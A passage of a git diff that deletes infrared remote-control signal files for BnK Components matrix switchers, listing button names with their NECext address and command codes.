-protocol: NECext -address: 3B 4C 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir deleted file mode 100644 index 3a09eb9fc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 2D 00 00 00 -# -name: C_DPWN -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 3E 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 4B 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: 3F 0C 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir deleted file mode 100644 index c814a1d10..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 39 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 3A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 3B 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 40 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 4B 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: 40 FB 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir deleted file mode 100644 index a60d93978..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 17 00 00 00 -# -name: SATION_+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 18 00 00 00 -# -name: TUNE__ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 3A 00 00 00 -# -name: 90 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 3B 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 4A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 07 8F 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir deleted file mode 100644 index c60ae7b57..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 0F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 47 8B 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir deleted file mode 100644 index 2bfd5564d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 40 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 4A 00 00 00 -# -name: MUTEPRE_+ -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 4B 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: 4C 3B 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir deleted file mode 100644 index 8d96a4de8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 0F 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 4A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 4F 0B 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir deleted file mode 100644 index 60be1b88c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: 